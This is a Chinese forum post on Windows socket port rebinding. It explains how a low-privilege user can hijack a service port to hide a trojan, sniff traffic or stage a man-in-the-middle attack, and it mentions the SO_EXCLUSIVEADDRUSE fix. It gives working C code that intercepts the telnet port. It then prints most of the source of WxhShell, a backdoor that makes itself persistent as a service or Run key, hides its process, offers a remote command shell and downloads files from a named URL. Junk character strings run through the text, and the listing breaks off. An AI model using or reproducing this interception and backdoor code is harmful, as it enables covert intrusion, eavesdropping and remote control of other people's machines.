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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: _INUJc  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); L wu;y@[  
YaT07X.(b  
  saddr.sin_family = AF_INET; B&$89]gs|  
~3Y NHm6V  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); LGMFv  
y d$37G|n  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 2Ls<OO  
t]o gn(  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 l&A`  
:gVjBF2  
  这意味着什么?意味着可以进行如下的攻击: UK<"|2^sT  
]\ezES  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 f\^QV  
E{ ,O}  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) an2Tc*=~l(  
XHg %X  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Q}T9NzOH%  
 ~EM];i  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  By_Ui6:D  
 e.GzGX  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 D?'y)](  
R`&ioRWj  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 J?<L8;$s7  
u~kwNN9t3  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 4dK@UN\  
K]oPh:E  
  #include ?f`-&c;  
  #include F1=+<]!  
  #include HW G~m:km  
  #include    S_CtE M  
  DWORD WINAPI ClientThread(LPVOID lpParam);   vSA%A47G  
  int main() FTfA\/tl(;  
  { / fq6-;co+  
  WORD wVersionRequested; PS22$_}   
  DWORD ret; IXN4?=)I  
  WSADATA wsaData; M5V1j(URE  
  BOOL val; | <*(`\ 'w  
  SOCKADDR_IN saddr; !%X`c94  
  SOCKADDR_IN scaddr; D+3Y.r 9  
  int err; z Y|g#V-  
  SOCKET s; "p{ '984r<  
  SOCKET sc; K?je(t^  
  int caddsize; 9wAc&nl-Y  
  HANDLE mt; a=FRJQ8S  
  DWORD tid;   @^%_ir(  
  wVersionRequested = MAKEWORD( 2, 2 ); NHF?73:  
  err = WSAStartup( wVersionRequested, &wsaData ); @7=D]yu  
  if ( err != 0 ) { YM|S<  
  printf("error!WSAStartup failed!\n"); TfVD'HAN;l  
  return -1; 9F](%/  
  } PpRO7(<cD  
  saddr.sin_family = AF_INET; o4;Nb|kk9+  
   2~DPq p[  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 0mh8.  
F udD  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ?Q3~n^  
  saddr.sin_port = htons(23); J":9  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @;}H<&"  
  { sJ/e=1*  
  printf("error!socket failed!\n"); }j1Zk4}[x  
  return -1; h12wk2@P/]  
  } U08?*{  
  val = TRUE; i 8Xz  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ~a%hRJg  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) :gq@/COo(  
  { yp^*TD/J  
  printf("error!setsockopt failed!\n"); `W n5 .V  
  return -1; B,833Azi  
  } {UBQ?7.jE  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Bedjw =B  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ]P$DAi   
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 <\g&%c,   
~,68S^nP)H  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) @t8kN6.  
  { O97bgj]  
  ret=GetLastError(); })lT fy  
  printf("error!bind failed!\n"); YX VJJd$U  
  return -1; p8dn-4  
  } X); Zm7  
  listen(s,2); &;U7/?Q  
  while(1) ~UC/|t$  
  { zD;] sk4  
  caddsize = sizeof(scaddr); Te}yQ=+  
  //接受连接请求 O)uM&B=  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 1cBhcYv"  
  if(sc!=INVALID_SOCKET) EE6|9K>  
  { bTGK@~  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); FraW6T}_  
  if(mt==NULL) d$rUxqB.  
  { o}+Uy  
  printf("Thread Creat Failed!\n"); 78CJ  
  break; sC_UalOC_  
  } /2Lo{v=0[  
  } JlQT5k  
  CloseHandle(mt); ~<- ci  
  } V?59 .TJ  
  closesocket(s); uyt-q|83=  
  WSACleanup(); 7&1~O#  
  return 0; m2CWQ[u  
  }   chmJ|  
  DWORD WINAPI ClientThread(LPVOID lpParam) j& iL5J;  
  { Q@wq }vc!  
  SOCKET ss = (SOCKET)lpParam; P`dHR;Y0  
  SOCKET sc; @) ZO$h  
  unsigned char buf[4096]; `F\:XuY   
  SOCKADDR_IN saddr; 1bZiPG{  
  long num; |cGeL[  
  DWORD val; #S%Y; ilq  
  DWORD ret; vj&5`  
  //如果是隐藏端口应用的话,可以在此处加一些判断 4t Nvq  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   /cC6qhkp%  
  saddr.sin_family = AF_INET; YOV4)P"  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); E97+GJ3  
  saddr.sin_port = htons(23); h<1dTl*  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) $7&l6~sMQ  
  { 5f'g 3'  
  printf("error!socket failed!\n"); |8c:+8  
  return -1; prEu9$:t  
  } 8J3@VD.  
  val = 100; V9j1j}  r  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) A1QI4.K  
  { 3E}NiD\V}  
  ret = GetLastError(); j8Q5d`  
  return -1; E< CxKY9  
  } mzE$aFu8  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Mq :'-`  
  { plx/}ah8  
  ret = GetLastError(); ~8xh0TSi  
  return -1; +lgF/y6  
  } gMBQtPNM  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 2K rqY  
  { L;M^>{>  
  printf("error!socket connect failed!\n"); s"',370  
  closesocket(sc); `}~ )1'(#/  
  closesocket(ss);  Q A)9  
  return -1; Rw}2*5#y  
  } *e3L4 7"G  
  while(1) g"]<J &  
  { n!ZP?]FR  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 uOl(-Zq@  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 #W@% K9  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ]LBvYjMY  
  num = recv(ss,buf,4096,0); @?3vRs}h  
  if(num>0) 1Y"35)CR)  
  send(sc,buf,num,0); mvTyx7 h=  
  else if(num==0) `e?;vA&  
  break; G?1x+H;o5  
  num = recv(sc,buf,4096,0); S -6"f /  
  if(num>0) ";_K x={  
  send(ss,buf,num,0); PG6L]o^  
  else if(num==0) 7mn,{2  
  break; 6<s(e_5f  
  } 7^I$%o1g  
  closesocket(ss); S*CLt  
  closesocket(sc); x\`RW 3 K  
  return 0 ; |rxKCzjm  
  } mC:X4l]5  
A3"1D  
P#[IUXtT  
========================================================== 4Hml.|$  
?UZ$bz  
下边附上一个代码,,WXhSHELL : _^0'ULP  
cK|rrwa0  
========================================================== b ~/Wnp5  
AJ\VY;m7F  
#include "stdafx.h" (L y%{ Y  
P(pd0,%i;a  
#include <stdio.h> ]HyHz9QkL  
#include <string.h> CO:*x,6au  
#include <windows.h> L{2b0Zh'  
#include <winsock2.h> ,TF<y#wed  
#include <winsvc.h> #u8*CA9  
#include <urlmon.h> 0):uF_t<  
dv^e 9b|  
#pragma comment (lib, "Ws2_32.lib") $-$5ta{s  
#pragma comment (lib, "urlmon.lib") v~V;+S=gz  
X:G& 5  
#define MAX_USER   100 // 最大客户端连接数 [_ M6/  
#define BUF_SOCK   200 // sock buffer -_2Dy1  
#define KEY_BUFF   255 // 输入 buffer dd \bI_  
.'5'0lR5  
#define REBOOT     0   // 重启 8Wdkztp/S  
#define SHUTDOWN   1   // 关机 ~VqFZasV  
yX7CN5vVl  
#define DEF_PORT   5000 // 监听端口  n5bXQ  
#)_J)/h  
#define REG_LEN     16   // 注册表键长度 068WlF cWV  
#define SVC_LEN     80   // NT服务名长度 y _'eyR@)  
C~ZE95g  
// 从dll定义API 7.Ml9{M/i  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <`c25ih.4  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); v9E+(4I9_  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $yDW.pt  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); |.b%rVu  
rDIhpT)a  
// wxhshell配置信息 E\R raPkQT  
struct WSCFG { Z!wD~C"D73  
  int ws_port;         // 监听端口 d[Rb:Y w  
  char ws_passstr[REG_LEN]; // 口令 R=\v3m  
  int ws_autoins;       // 安装标记, 1=yes 0=no ]`zjRRd  
  char ws_regname[REG_LEN]; // 注册表键名 M8 iEVJ  
  char ws_svcname[REG_LEN]; // 服务名 >.J'L5 x$  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 n 5~=qQK2  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 CgVh\4,a  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 s.^c..e75C  
int ws_downexe;       // 下载执行标记, 1=yes 0=no *nYB o\@g  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" K4j@j}zK9I  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 OM20-KDc5  
qs!>tw  
}; kF+ZW%6N  
EkRdpiLB  
// default Wxhshell configuration Q&u>7_, Du  
struct WSCFG wscfg={DEF_PORT, 5U0ytDZ2/(  
    "xuhuanlingzhe", '"` Lv/  
    1, [#7y[<.P  
    "Wxhshell", lir &e 9I+  
    "Wxhshell", D3%l4.h  
            "WxhShell Service", T@(6hEmP,  
    "Wrsky Windows CmdShell Service", PSW #^o  
    "Please Input Your Password: ", R'G'&H{N  
  1, xik`W!1S  
  "http://www.wrsky.com/wxhshell.exe", }  c{Fa&  
  "Wxhshell.exe" =a?a@+  
    }; ':,>eL#+uV  
UskZ%J  
// 消息定义模块 /GsSrP_?]  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; o*%3[HmV  
char *msg_ws_prompt="\n\r? for help\n\r#>"; uyL72($  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &}zRH}s;  
char *msg_ws_ext="\n\rExit."; w`M]0'zls  
char *msg_ws_end="\n\rQuit."; OYBotk]{1  
char *msg_ws_boot="\n\rReboot..."; M'^(3#ZU  
char *msg_ws_poff="\n\rShutdown..."; C0zrXhY_v  
char *msg_ws_down="\n\rSave to "; *I=_*LoG2  
-"F0eV+y  
char *msg_ws_err="\n\rErr!"; |xq} '.C  
char *msg_ws_ok="\n\rOK!"; M|U';2hZN:  
%v]7BV^%6  
char ExeFile[MAX_PATH]; clHM8$  
int nUser = 0; XK1fHfCEa  
HANDLE handles[MAX_USER]; Tv`_n2J`2  
int OsIsNt; /r-8T>m  
+jcdf}  
SERVICE_STATUS       serviceStatus; 4w@v#H@  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; PT mf  
>P(eW7RL  
// 函数声明 %h0D)6 j  
int Install(void); Am#m>^!qb  
int Uninstall(void); c+1vqbqHG  
int DownloadFile(char *sURL, SOCKET wsh); LlU' _}>  
int Boot(int flag); '#H&:Htm;L  
void HideProc(void); ]X*YAPv  
int GetOsVer(void); 9^oo-,Su_  
int Wxhshell(SOCKET wsl); GL/  KB  
void TalkWithClient(void *cs); /a%*u6z@  
int CmdShell(SOCKET sock); 9QX4R<"wUg  
int StartFromService(void); [d0%.+U  
int StartWxhshell(LPSTR lpCmdLine); DK)u)?!  
Fl<(m  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); O8gfiQqF&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 1x { XE*%;  
M z9 3  
// 数据结构和表定义 Dft4isyt^  
SERVICE_TABLE_ENTRY DispatchTable[] = %Hh3u$Y,  
{ \ZqK\=  
{wscfg.ws_svcname, NTServiceMain}, }gCG&7C  
{NULL, NULL} > 9o{(j  
}; j?( c}!}  
B-$+UE>%  
// 自我安装 XHy ?  
int Install(void) }bp.OV-+  
{ 3a%xn4P  
  char svExeFile[MAX_PATH]; ` %uK0qw"  
  HKEY key; S:#e8H_7m]  
  strcpy(svExeFile,ExeFile); (JWv *p  
@2u#93Y  
// 如果是win9x系统,修改注册表设为自启动 D{>\-]\  
if(!OsIsNt) { t7&Dwmck9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9MT3T?IS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3#9uEDdE  
  RegCloseKey(key); #7+]%;h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I:nI6gF  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); WI6(#8^p  
  RegCloseKey(key); zFOL(s.h|0  
  return 0; !Pw$48cg  
    } XYts8}y5  
  } Uh*@BmDA  
} {f-XyF1`  
else { `6P?G|'   
F, zG;_  
// 如果是NT以上系统,安装为系统服务 p(.N(c  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )'`CC>Q  
if (schSCManager!=0) U3/8A:$y  
{ mdaYYD=c%  
  SC_HANDLE schService = CreateService wsq LXZI  
  ( <iRWd  
  schSCManager, c88_}%h?(  
  wscfg.ws_svcname, |f<9miNu  
  wscfg.ws_svcdisp, V7BsEw  
  SERVICE_ALL_ACCESS,  f -7S:,  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , BO"qD[S  
  SERVICE_AUTO_START, RYH)AS4w'  
  SERVICE_ERROR_NORMAL, X>}@EHT  
  svExeFile, bGu([VB  
  NULL, ~U9q-/(J/  
  NULL, kB V/rw  
  NULL, 5\&]J7(  
  NULL, 9l#gMFknI  
  NULL } #qQ2NCH  
  ); $.9 +{mz  
  if (schService!=0) 4j^bpfb,  
  { e9lOk)`t  
  CloseServiceHandle(schService); hD*(AJ  
  CloseServiceHandle(schSCManager); &5d\~{;  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); { a. <`  
  strcat(svExeFile,wscfg.ws_svcname); {d,?bs)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 3+%nn+m  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); z<i,D08|d  
  RegCloseKey(key); ?T <rt  
  return 0; p=vV4C:  
    } aV#h5s  
  } \ZsP]};*  
  CloseServiceHandle(schSCManager); 2 ^oGwx @  
} Wa<-AZnh  
} {<!hlB  
%P;[fJ `G  
return 1; Tv1]v.  
} BtzYA"  
Sj@15 W  
// 自我卸载 **n y!  
int Uninstall(void) )%t7\1)B3  
{ o<nS_x  
  HKEY key; ~pRs-  
^\T]r<rCY  
if(!OsIsNt) { %W&1`^Jl  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "Vx6 #u@}  
  RegDeleteValue(key,wscfg.ws_regname); ~TM>"eBb  
  RegCloseKey(key); -zdmr"CA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { WU7cF81$  
  RegDeleteValue(key,wscfg.ws_regname); JL``iA  
  RegCloseKey(key); l/ QhD?)9  
  return 0; &y\igX1  
  } f]]f85  
} M|H 2kvl  
} *x!LKIpv  
else { `6}Yqh))  
[1U{ci&=p  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); uRpBeH]Z"  
if (schSCManager!=0) S}b~_}  
{ F )7j@h^  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 9$wAm89  
  if (schService!=0) <S&]$?`{Wi  
  { 5e8xKL  
  if(DeleteService(schService)!=0) { p(?g-  
  CloseServiceHandle(schService); )'t&q/Wn  
  CloseServiceHandle(schSCManager); 5D L,U(Y  
  return 0; 8gAu7\p}  
  } {:$NfW  
  CloseServiceHandle(schService); XfDX:b1p  
  } M9DgO4xl  
  CloseServiceHandle(schSCManager); B$j' /e-Zk  
} h;nQxmJ9  
} ^N{k6>;  
,\x$q'  
return 1; tpZ->)1  
} Wj tft%  
4kh8W~i;/  
// 从指定url下载文件 _@K YF)  
int DownloadFile(char *sURL, SOCKET wsh) 7f* RM  
{ r>O|L%xpv  
  HRESULT hr; \OY}GRKt  
char seps[]= "/"; /?U!y?t&@  
char *token; b`zET^F  
char *file; &Sa~/!M  
char myURL[MAX_PATH]; x) 5LT}p  
char myFILE[MAX_PATH]; kV+ R5R  
MyFCJJ/  
strcpy(myURL,sURL); _ Mn6L=  
  token=strtok(myURL,seps); "&<~UiI  
  while(token!=NULL) &(7$&Q  
  { V:>`*tlh  
    file=token; d'OGVN  
  token=strtok(NULL,seps); \447]<u  
  } 8)?_{  
#N9d$[R*  
GetCurrentDirectory(MAX_PATH,myFILE); N%u  
strcat(myFILE, "\\"); rs_h}+6"s  
strcat(myFILE, file); Pk:zfC?4  
  send(wsh,myFILE,strlen(myFILE),0); ^vaL8+  
send(wsh,"...",3,0); $+jy/:]D  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); g}Mi9Kp  
  if(hr==S_OK) !5~k:1=  
return 0; x_W3sS]ej  
else N<n8'XDdG  
return 1; bw5T2wYZ  
|]tZ hI"3<  
} XWXr0>!,?  
I=odMw7Hj  
// 系统电源模块 7>&1nBh. f  
int Boot(int flag) }LQ\a8]<  
{ yW`e |!  
  HANDLE hToken; R{`gR"*  
  TOKEN_PRIVILEGES tkp; QTE:K?  
I^:F)a:  
  if(OsIsNt) { 3HKxYvc C  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *IqVY&  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); }^9paU  
    tkp.PrivilegeCount = 1; I&\4C.\>  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AK;^9b-}q:  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); y]^#$dK(z  
if(flag==REBOOT) { }AJ L,Q7q  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 1daL y  
  return 0; -=sf}4A  
} Q1]Wo9j  
else { *{nunb>WO  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) i*68-n  
  return 0; --A&TV  
} BV1u,<T"  
  } &g {<HU?BT  
  else { u GAh7Sop  
if(flag==REBOOT) {  J `x}{K  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3Y(9\}E@`  
  return 0; ofK='G .  
} hLo>R'@uN  
else { T]uKH29.%  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `-u7 I  
  return 0; :*cHA  
} gi1j/j7  
}  Oq}ip  
Ck@M<(x  
return 1; ^9=4iXd  
} `V@z&n0P6  
m_$JWv\|\  
// win9x进程隐藏模块 #h{Nz/h+  
void HideProc(void) Vmtzig3w[  
{ vzcz<i )  
OGGSS&5t w  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1OP" 5f  
  if ( hKernel != NULL ) (7L/eDMT  
  { MX?}?"y  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0-GKu d  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); {(!)P  
    FreeLibrary(hKernel); kF?S 2(vH  
  } 3>M.]w6{  
}7Jp :.qk  
return; >>j+LRf*  
} #4N >d~  
qw2)v*Fn  
// 获取操作系统版本 XECikld>  
int GetOsVer(void) #@E(<Pu4`  
{ sS|<&3  
  OSVERSIONINFO winfo; >Fp&8p`am  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); SM$\;)L  
  GetVersionEx(&winfo); G:DSWW}  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @.1Qs`pt  
  return 1; :Fnzi0b  
  else _jo$)x+'x  
  return 0; oSmjs  
} Yw1Y-M  
@7-D7  
// 客户端句柄模块 NA\x<  
int Wxhshell(SOCKET wsl) +[_gyLN<5b  
{ Q K j1yG0i  
  SOCKET wsh; $bFgsy*N2  
  struct sockaddr_in client; { Hr>X  
  DWORD myID; U&X.  
H4 =IY  
  while(nUser<MAX_USER) U1jSUkqb  
{ @2?=3Wf  
  int nSize=sizeof(client); ]1tN|ODY*W  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); O"8P#Ed  
  if(wsh==INVALID_SOCKET) return 1; wR(ttwxK3  
~ur)f AuF2  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); O/$ v69:  
if(handles[nUser]==0) %_)b>C18 y  
  closesocket(wsh); ?;fv!'?%  
else <\p&jk?  
  nUser++; ,[^o9u uB  
  } ^(J-dK  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); %xHu,*  
8TI#7  
  return 0; QU,?}w'?d  
} N" ;^S  
g4Bg6<;  
// 关闭 socket K)Ge  
void CloseIt(SOCKET wsh) GajI\_o  
{ h~:H?pj3g  
closesocket(wsh); [&Lxz~W][  
nUser--; 9T/<x-FD  
ExitThread(0); sZT VM9<)  
} il7 !}  
*%nX#mwz  
// 客户端请求句柄 @YsL*zw  
void TalkWithClient(void *cs) 4 #G3ew  
{ .C6gl]6y@  
9 #:ue@)  
  SOCKET wsh=(SOCKET)cs; v3Eo@,-  
  char pwd[SVC_LEN]; ?nY/, q&  
  char cmd[KEY_BUFF]; hl}dgp((  
char chr[1]; ypxC1E  
int i,j; S;BP`g<l=  
IG>>j}  
  while (nUser < MAX_USER) { CO7CNN  
)|Jr|8  
if(wscfg.ws_passstr) { :ECw \_"0$  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); C>M6&=  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6mX:=Q  
  //ZeroMemory(pwd,KEY_BUFF); 8XgVY9]Qm  
      i=0; [&fWF~D-p<  
  while(i<SVC_LEN) { =g1D;  
1/!nV  
  // 设置超时 ddl3 fl#f  
  fd_set FdRead; W%w82@'  
  struct timeval TimeOut; 7~:>WMv9  
  FD_ZERO(&FdRead); Kgps_tY%  
  FD_SET(wsh,&FdRead); j_hjCQ  
  TimeOut.tv_sec=8; oA[2)BU  
  TimeOut.tv_usec=0; - f+CyhR"*  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); k#BU7Exij  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); uLF\K+cz  
3$;J0{&[i  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N c9<X  
  pwd=chr[0]; r*xq(\v  
  if(chr[0]==0xd || chr[0]==0xa) { 9  4 "f  
  pwd=0; /]P%b K6B  
  break; UX03"gX  
  } *pmoLiuB>  
  i++; 9.^-us1  
    } U. NeK{  
CdE2w?1  
  // 如果是非法用户,关闭 socket nvw NjN  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); yZQ1] '^31  
} u)wu=z8  
k:@a[qnY  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _$~ex ~v  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i_'|:Uy*F  
N.kuE=X  
while(1) { s#M? tyhj  
uHTKo(NG  
  ZeroMemory(cmd,KEY_BUFF); `Nc`xO?  
9*"[pt+tA  
      // 自动支持客户端 telnet标准   + ?[ ACZF  
  j=0; QJb7U5:B+  
  while(j<KEY_BUFF) { `1}HWLBX.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); # r2$ZCo3o  
  cmd[j]=chr[0]; m/SJ4op$  
  if(chr[0]==0xa || chr[0]==0xd) { 8.6no  
  cmd[j]=0; 9N`+ O  
  break; yN%3w0v  
  } }mkA Hmu4  
  j++; q=(M!9cE  
    } t"jIfU>'a/  
EY=\C$3J:  
  // 下载文件 y=y/d>=w  
  if(strstr(cmd,"http://")) { ,K"r:)\  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6yV5Yjs  
  if(DownloadFile(cmd,wsh)) =P@M&Yy'  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ";%e~ =  
  else eG a#$x?.  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z_ iQU1  
  } 7R% PVgS4x  
  else { rcD.P?"  
eA;j/&qH  
    switch(cmd[0]) { iPR!JX _  
  :Q0?ub]  
  // 帮助 HPv&vdr3  
  case '?': { TW;|G'}$  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `Pz!SJ|  
    break; I_R5\l}O+D  
  } TZvBcNi   
  // 安装 &z{dr ~  
  case 'i': { *RUd!]bh  
    if(Install()) VuYWb)@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HXl r  
    else 7M&.UzIY`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a,F8+ Pb>  
    break; 81%qM7v9H  
    } WHdqO8  
  // 卸载 j};pv2  
  case 'r': { >vNk kxWyQ  
    if(Uninstall()) 8VBkIYgb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v)v{QNQp^  
    else a!SR"3 k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %BT)oH}  
    break; QBN=l\m+  
    } 0e7O#-  
  // 显示 wxhshell 所在路径 soFvrl^Ql+  
  case 'p': { @eAGN|C5  
    char svExeFile[MAX_PATH]; Q}k_#w  
    strcpy(svExeFile,"\n\r"); ~]m@k'n  
      strcat(svExeFile,ExeFile); dd @COP?  
        send(wsh,svExeFile,strlen(svExeFile),0); +w_MSj#P  
    break; J"a2 @S&  
    } 8 H$@Xts  
  // 重启 kOlI?wc  
  case 'b': { P5ESrZ@f  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); VygXhh^7\  
    if(Boot(REBOOT)) c DEe?WS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &})4?5  
    else { .yHHogbt  
    closesocket(wsh); ID{Pzmt-  
    ExitThread(0); 8O;rp(N.n  
    } hCOy\[2$  
    break;  5Fl  
    } H8=vQy  
  // 关机 !pF KC)  
  case 'd': { 4IGQ,RTB  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);  HC<BGIgL  
    if(Boot(SHUTDOWN)) 7!` C TE  
